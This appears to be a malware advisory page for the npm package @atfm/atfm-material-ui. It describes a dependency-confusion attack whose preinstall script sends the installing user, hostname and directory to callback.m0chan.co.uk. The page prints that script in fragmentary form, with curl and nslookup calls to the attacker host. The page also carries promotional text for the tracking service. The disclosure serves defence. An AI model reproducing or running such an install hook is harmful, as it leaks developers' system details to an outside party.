@ATFM/ATFM-MATERIAL-UI · MAL-2026-18601 · Package
UNINSTALL IT, ROTATE THE KEYS IT COULD READ
Not triaged yet. The sources’ own description is below.
first public Oct 30, 2026 · 1 source
Running @atfm/atfm-material-ui? Find out in 2 minutes.
Tell InfraStack what you run. It checks this one, and every next one, against your stack.
Ask from here. InfraStack checks the affected versions against your stack and answers in your inbox.
InfraStack checks the affected versions against your stack and answers in Slack, with the evidence and the fix.
Who cares malicious
Unknown from the sources.
Unknown from the sources.
@atfm/[email protected] is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:
b64=$(printf '%s' | -w0); pkgsub=$( | sed ); pkgdns=$( | -w0 | | -d ); curl -sm5 https://.callback.m0chan.co.uk/; nslookup ..callback.m0chan.co.uk
The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.
This page as .md · .json · in your agent: get_signal("MAL-2026-18601")